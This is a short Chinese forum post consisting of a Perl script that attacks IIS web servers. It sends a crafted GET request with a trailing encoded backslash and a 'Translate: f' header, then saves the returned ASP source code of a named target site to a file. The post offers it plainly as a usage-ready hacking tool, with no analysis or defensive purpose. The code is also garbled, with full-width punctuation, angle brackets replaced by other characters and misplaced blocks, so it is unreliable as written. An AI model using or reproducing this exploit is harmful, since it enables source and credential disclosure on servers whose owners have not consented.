IIS***大全
############################# use IO::Socket； #my （$port, $sock,$server）； #
$size=0； #
#############################
#
$server="$ARGV"；
$s="$server"；
$port="80"；
$cm="$ARGV"；
&connect；
sub connect {
if （$#ARGV 《 1） {
howto（）；
exit；
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n"；
my（$iaddr,$paddr,$proto）；
$iaddr = inet_aton（$server） || die "Error: $!"；
$paddr = sockaddr_in（$port, $iaddr） || die "Error: $!"；
$proto = getprotobyname（'tcp'） || die "Error: $!"；
socket（SOCK, PF_INET, SOCK_STREAM, $proto） || die "Error:
$!"；
connect（SOCK, $paddr） || die "Error: $!"；
send（SOCK, $ver, 0） || die "Can't to send packet: $!"；
open（OUT, "》$server.txt"）；
print "Dumping $cm to $server.txt \n"；
while（《SOCK》） {
print OUT 《SOCK》；
}
sub howto {
print "type as follows: Trans.pl www.目标机.com codetoview.asp \n\n"；
}
close OUT；
$n=0；
$type=2；
close（SOCK）；
exit（1）；
}
页:
[1]